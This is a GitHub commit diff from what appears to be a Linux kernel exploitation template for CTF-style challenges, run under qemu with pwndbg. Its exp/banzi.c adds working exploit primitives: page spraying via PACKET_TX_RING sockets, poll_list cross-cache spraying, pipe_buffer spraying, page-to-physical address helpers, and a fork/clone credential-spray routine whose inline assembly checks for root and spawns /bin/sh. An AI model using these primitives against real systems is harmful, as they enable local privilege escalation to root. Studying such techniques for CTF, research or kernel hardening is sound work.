Skip to content

Commit 3a5b8a3

Browse files
v20230506
1 parent 65b82a4 commit 3a5b8a3

File tree

10 files changed

+290
-505
lines changed

10 files changed

+290
-505
lines changed

.gdbinit

+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
source /pwndbg/gdbinit.py
2+
set auto-load safe-path /
3+
4+
target remote :1234
5+
6+
# dprintf *0xffffffff8148810a, "do_sys_poll_kmalloc_ret: rax=%#lx\n", $rax
7+
8+
# b *0xffffffff81407164
9+
# commands 4
10+
# silent
11+
# printf "{\n"
12+
# bt
13+
# printf "__alloc_page_ret: rax=%#lx\n", ($rax-$vmemmap_base)*0x40+$virtual_base
14+
# printf "}\n"
15+
# c
16+
# end

.gitignore

+2-3
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,5 @@
11
pwn/*
22
exp/exp
33
.gdb_history
4-
.gdbinit
5-
.gdbinit-*
6-
.g
4+
.g
5+
.vscode

README.md

+4-7
Original file line numberDiff line numberDiff line change
@@ -6,13 +6,10 @@
66
```
77
### Run
88
```bash
9-
# in the host
10-
docker-compose exec <docker-id> /bin/bash
119
# remember to modify run.sh with $@ and core_modified.cpio
1210
<command to modify pwn/run.sh>
13-
```
14-
15-
```bash
16-
# in the container
17-
exp.sh
11+
# start the qemu
12+
./run.sh
13+
# start gdb
14+
./gdb.sh
1815
```

corescripts/exp.sh

+1-1
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ BASEDIR=$(dirname "$0")
55
path=$BASEDIR/../pwn
66
exp_path=$BASEDIR/../exp
77
$BASEDIR/uncpio.sh && \
8-
gcc $exp_path/exp.c $exp_path/banzi.c -static -lkeyutils -lpthread -g -o $exp_path/exp && \
8+
gcc $exp_path/exp.c $exp_path/banzi.c -static -lkeyutils -lpthread -luring -g -o $exp_path/exp && \
99
cp $exp_path/exp $path/core && \
1010
cp $path/init $path/core && \
1111
# cp $path/corescript/tools/* $path/core && \

docker-compose.yml

+1
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@ services:
99
- ./corescripts:/root/corescripts
1010
- ./pwn:/root/pwn
1111
- ./gdb_internal.sh:/gdb_internal.sh
12+
- ./.gdbinit:/root/.gdbinit
1213
environment:
1314
- LC_CTYPE=C.UTF-8
1415
- WORKDIR=/root/pwn

exp/banzi.c

+207-7
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55
*/
66
int sprayfd_child[2];
77
int sprayfd_parent[2];
8-
int socketfds[INITIAL_PAGE_SPRAY];
8+
int socketfds[10*INITIAL_PAGE_SPRAY];
99
unsigned long user_cs, user_ss, user_rflags, user_sp;
1010
unsigned long long int base_addr;
1111
void *(*prepare_kernel_cred)(uint64_t)KERNCALL;
@@ -47,12 +47,13 @@ void unshare_setup(uid_t uid, gid_t gid) {
4747
return;
4848
}
4949

50-
void send_spray_cmd(enum spray_cmd cmd, int idx) {
50+
void send_spray_cmd(enum spray_cmd cmd, int idx, uint32_t order) {
5151
ipc_req_t req;
5252
int32_t result;
5353

5454
req.cmd = cmd;
5555
req.idx = idx;
56+
req.order = order;
5657
write(sprayfd_child[1], &req, sizeof(req));
5758
read(sprayfd_parent[0], &result, sizeof(result));
5859
assert(result == idx);
@@ -84,6 +85,8 @@ int alloc_pages_via_sock(uint32_t size, uint32_t n) {
8485
req.tp_frame_size = 4096;
8586
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;
8687

88+
// printf("req.tp_block_size: %d\n", req.tp_block_size);
89+
8790
if (setsockopt(socketfd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)) < 0) {
8891
perror("setsockopt PACKET_TX_RING failed");
8992
exit(-1);
@@ -98,9 +101,10 @@ void spray_comm_handler() {
98101

99102
do {
100103
read(sprayfd_child[0], &req, sizeof(req));
101-
assert(req.idx < INITIAL_PAGE_SPRAY);
104+
assert(req.idx < 10*INITIAL_PAGE_SPRAY);
102105
if (req.cmd == ALLOC_PAGE) {
103-
socketfds[req.idx] = alloc_pages_via_sock(4096, 1);
106+
assert(req.order < 10);
107+
socketfds[req.idx] = alloc_pages_via_sock(4096*(1 << req.order), 1);
104108
} else if (req.cmd == FREE_PAGE) {
105109
close(socketfds[req.idx]);
106110
}
@@ -110,6 +114,7 @@ void spray_comm_handler() {
110114
}
111115

112116
static void socket_spray_example() {
117+
uint32_t order = 0;
113118
// for communicating with spraying in separate namespace via TX_RINGs
114119
pipe(sprayfd_child);
115120
pipe(sprayfd_parent);
@@ -122,12 +127,12 @@ static void socket_spray_example() {
122127

123128
puts("Allocated all pages");
124129
for (int i = 0; i < INITIAL_PAGE_SPRAY; i++) {
125-
send_spray_cmd(ALLOC_PAGE, i);
130+
send_spray_cmd(ALLOC_PAGE, i, order);
126131
}
127132

128133
puts("Closed all odd pages");
129134
for (int i = 1; i < INITIAL_PAGE_SPRAY; i += 2) {
130-
send_spray_cmd(FREE_PAGE, i);
135+
send_spray_cmd(FREE_PAGE, i, 0);
131136
}
132137

133138
// TODO: get the freed odd pages back with our struct
@@ -138,7 +143,7 @@ static void socket_spray_example() {
138143

139144
puts("Closed all even pages");
140145
for (int i = 0; i < INITIAL_PAGE_SPRAY; i += 2) {
141-
send_spray_cmd(FREE_PAGE, i);
146+
send_spray_cmd(FREE_PAGE, i, 0);
142147
}
143148
}
144149

@@ -480,6 +485,50 @@ void create_poll_thread(int id, size_t size, int timeout) {
480485
pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
481486
}
482487

488+
void *alloc_poll_list_for_crosscache(void *args) {
489+
struct pollfd *pfds;
490+
int nfds, timeout, id, watch_fd;
491+
492+
id = ((struct t_args *)args)->id;
493+
nfds = ((struct t_args *)args)->nfds;
494+
timeout = ((struct t_args *)args)->timeout;
495+
watch_fd = ((struct t_args *)args)->watch_fd;
496+
497+
pfds = calloc(nfds, sizeof(struct pollfd));
498+
499+
for (int i = 0; i < nfds; i++) {
500+
pfds[i].fd = watch_fd;
501+
pfds[i].events = POLLERR;
502+
}
503+
504+
assign_thread_to_core(0);
505+
506+
pthread_mutex_lock(&mutex);
507+
poll_threads++;
508+
pthread_mutex_unlock(&mutex);
509+
510+
sleep(6);
511+
512+
printf("[Thread %d] Start polling...\n", id);
513+
int ret = poll(pfds, nfds, timeout);
514+
printf("[Thread %d] Polling complete: %d!\n", id, ret);
515+
}
516+
517+
void create_poll_thread_for_crosscache(int id, size_t size, int timeout) {
518+
struct t_args *args;
519+
520+
args = calloc(1, sizeof(struct t_args));
521+
522+
if (size > PAGE_SIZE) size = size - ((size / PAGE_SIZE) * sizeof(struct poll_list));
523+
524+
args->id = id;
525+
args->nfds = NFDS(size);
526+
args->timeout = timeout;
527+
args->watch_fd = poll_watch_fd;
528+
529+
pthread_create(&poll_tid[id], 0, alloc_poll_list_for_crosscache, (void *)args);
530+
}
531+
483532
void join_poll_threads(void) {
484533
for (int i = 0; i < poll_threads; i++) pthread_join(poll_tid[i], NULL);
485534

@@ -534,4 +583,155 @@ void sendmsg_init(uint64_t n, uint64_t spray_size, uint64_t offset, uint64_t use
534583
sendmsg_msgs[i].msg_namelen = sizeof(socket_addr);
535584
register_userfault(sendmsg_mmaped_addrs[i] + 0x1000, PAGE_SIZE, (uint64_t)userfault_handler);
536585
}
586+
}
587+
588+
589+
/**
590+
* @brief pipe_buffer 相关
591+
*
592+
*/
593+
594+
595+
596+
int pipefds[PIPE_SPRAY_NUM][2];
597+
598+
void extend_pipe_buffer(int idx, size_t size) {
599+
int ret = fcntl(pipefds[idx][1], F_SETPIPE_SZ, size);
600+
if (ret < 0) {
601+
perror("[X] fcntl");
602+
exit(1);
603+
}
604+
}
605+
606+
void spray_pipe() {
607+
for (int i = 0; i < PIPE_SPRAY_NUM; i++) {
608+
if (pipe(pipefds[i]) < 0) {
609+
perror("[X] pipe");
610+
exit(1);
611+
}
612+
}
613+
}
614+
615+
/**
616+
* @brief convert page to physic address
617+
*
618+
*/
619+
620+
uint64_t virtual_base = 0xffff888000000000;
621+
uint64_t vmemmap_base = 0xffffea0000000000;
622+
623+
uint64_t page_to_virtual(uint64_t page) {
624+
uint64_t page_cnt = (page - vmemmap_base) / 0x40;
625+
uint64_t virtual_addr = virtual_base + page_cnt * 0x1000;
626+
return virtual_addr;
627+
}
628+
629+
uint64_t page_to_physic(uint64_t page) {
630+
return page_to_virtual(page) - virtual_base;
631+
}
632+
633+
634+
/**
635+
* @brief fork spray cred 相关
636+
*
637+
*/
638+
639+
__attribute__((naked)) pid_t __clone(uint64_t flags, void *dest)
640+
{
641+
__asm__ __volatile__(
642+
".intel_syntax noprefix;\n"
643+
"mov r15, rsi;\n"
644+
"xor rsi, rsi;\n"
645+
"xor rdx, rdx;\n"
646+
"xor r10, r10;\n"
647+
"xor r9, r9;\n"
648+
"mov rax, 56;\n"
649+
"syscall;\n"
650+
"cmp rax, 0;\n"
651+
"jl bad_end;\n"
652+
"jg good_end;\n"
653+
"jmp r15;\n"
654+
"bad_end:\n"
655+
"neg rax;\n"
656+
"ret;\n"
657+
"good_end:\n"
658+
"ret;\n"
659+
".att_syntax prefix;\n"
660+
);
661+
}
662+
663+
int rootfd[2];
664+
struct timespec timer = {.tv_sec = 1000000000, .tv_nsec = 0};
665+
char throwaway;
666+
char root[] = "root\n";
667+
char binsh[] = "/bin/sh\x00";
668+
char *args[] = {"/bin/sh", NULL};
669+
670+
__attribute__((naked)) void check_and_wait()
671+
{
672+
__asm__ __volatile__(
673+
".intel_syntax noprefix;\n"
674+
"lea rax, [rootfd];\n"
675+
"mov edi, dword ptr [rax];\n"
676+
"lea rsi, [throwaway];\n"
677+
"mov rdx, 1;\n"
678+
"xor rax, rax;\n"
679+
"syscall;\n"
680+
"mov rax, 102;\n"
681+
"syscall;\n"
682+
"cmp rax, 0;\n"
683+
"jne finish;\n"
684+
"mov rdi, 1;\n"
685+
"lea rsi, [root];\n"
686+
"mov rdx, 5;\n"
687+
"mov rax, 1;\n"
688+
"syscall;\n"
689+
"lea rdi, [binsh];\n"
690+
"lea rsi, [args];\n"
691+
"xor rdx, rdx;\n"
692+
"mov rax, 59;\n"
693+
"syscall;\n"
694+
"finish:\n"
695+
"lea rdi, [timer];\n"
696+
"xor rsi, rsi;\n"
697+
"mov rax, 35;\n"
698+
"syscall;\n"
699+
"ret;\n"
700+
".att_syntax prefix;\n"
701+
);
702+
}
703+
704+
int just_wait()
705+
{
706+
sleep(1000000000);
707+
}
708+
709+
void fork_spray_cred_example() {
710+
pipe(rootfd);
711+
712+
for (int i = 0; i < 0x20; i++) {
713+
pid_t result = fork();
714+
if (!result)
715+
{
716+
just_wait();
717+
}
718+
if (result < 0)
719+
{
720+
puts("fork limit");
721+
exit(-1);
722+
}
723+
}
724+
725+
// TODO: 页风水布局
726+
727+
for (int i = 0; i < 0x40; i++)
728+
{
729+
pid_t result = __clone(CLONE_FLAGS, &check_and_wait);
730+
if (result < 0)
731+
{
732+
perror("clone error");
733+
exit(-1);
734+
}
735+
}
736+
537737
}

0 commit comments

Comments
 (0)